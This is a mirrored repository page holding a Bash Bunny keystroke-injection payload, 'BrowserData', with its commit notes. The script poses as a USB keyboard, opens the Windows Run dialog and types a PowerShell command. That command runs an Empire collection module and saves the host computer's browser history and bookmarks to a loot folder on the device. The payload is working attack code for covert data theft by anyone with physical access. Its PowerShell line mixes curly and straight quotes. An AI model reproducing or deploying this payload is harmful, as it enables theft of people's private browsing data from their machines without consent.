mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
4165a2dda9
* Fixed for 1.0 and 1.1 Fixed the payload for 1.0 but if you want it ported for 1.1, change line 38 to (LED M) * Made 1.1 compatible. Still need to examine Get-BrowserData.ps1
40 lines
1.1 KiB
Bash
Executable File
40 lines
1.1 KiB
Bash
Executable File
#!/bin/bash
|
||
#
|
||
# Title: BrowserData
|
||
# Author: zachstanford
|
||
# Version: 0.1 (Tested on Windows 10)
|
||
#
|
||
# Dumps browser info like history and bookmarks from powershell script
|
||
# then saves them in /root/udisk/loot/BrowserData/%ComputerName%
|
||
# Credits to this Empire's powershell script:
|
||
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-BrowserData.ps1
|
||
|
||
#script
|
||
# Blue...............Running Script
|
||
# Purple.............Finished
|
||
|
||
# Not sure if this is the right variable. Feel free to change it.
|
||
|
||
ATTACKMODE HID STORAGE
|
||
|
||
GET SWITCH_POSITION
|
||
|
||
LED R SLOW
|
||
LOOTDIR=/root/udisk/loot/BrowserData
|
||
mkdir -p $LOOTDIR
|
||
|
||
|
||
LED B SLOW
|
||
|
||
# wait 6 seconds for the storage to popup
|
||
Q DELAY 6000
|
||
Q GUI r
|
||
Q DELAY 100
|
||
Q STRING "powershell \".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\Get-BrowserData.ps1'); $bunny =(gwmi win32_volume -f ’label=‘’BashBunny’’' | Select-Object -ExpandProperty DriveLetter); Get-BrowserInformation | Out-File -Append $bunny\loot\BrowserData\$env:computername.txt\""
|
||
Q ENTER
|
||
Q DELAY 2000
|
||
Q STRING exit
|
||
Q ENTER
|
||
sync
|
||
LED M SLOW
|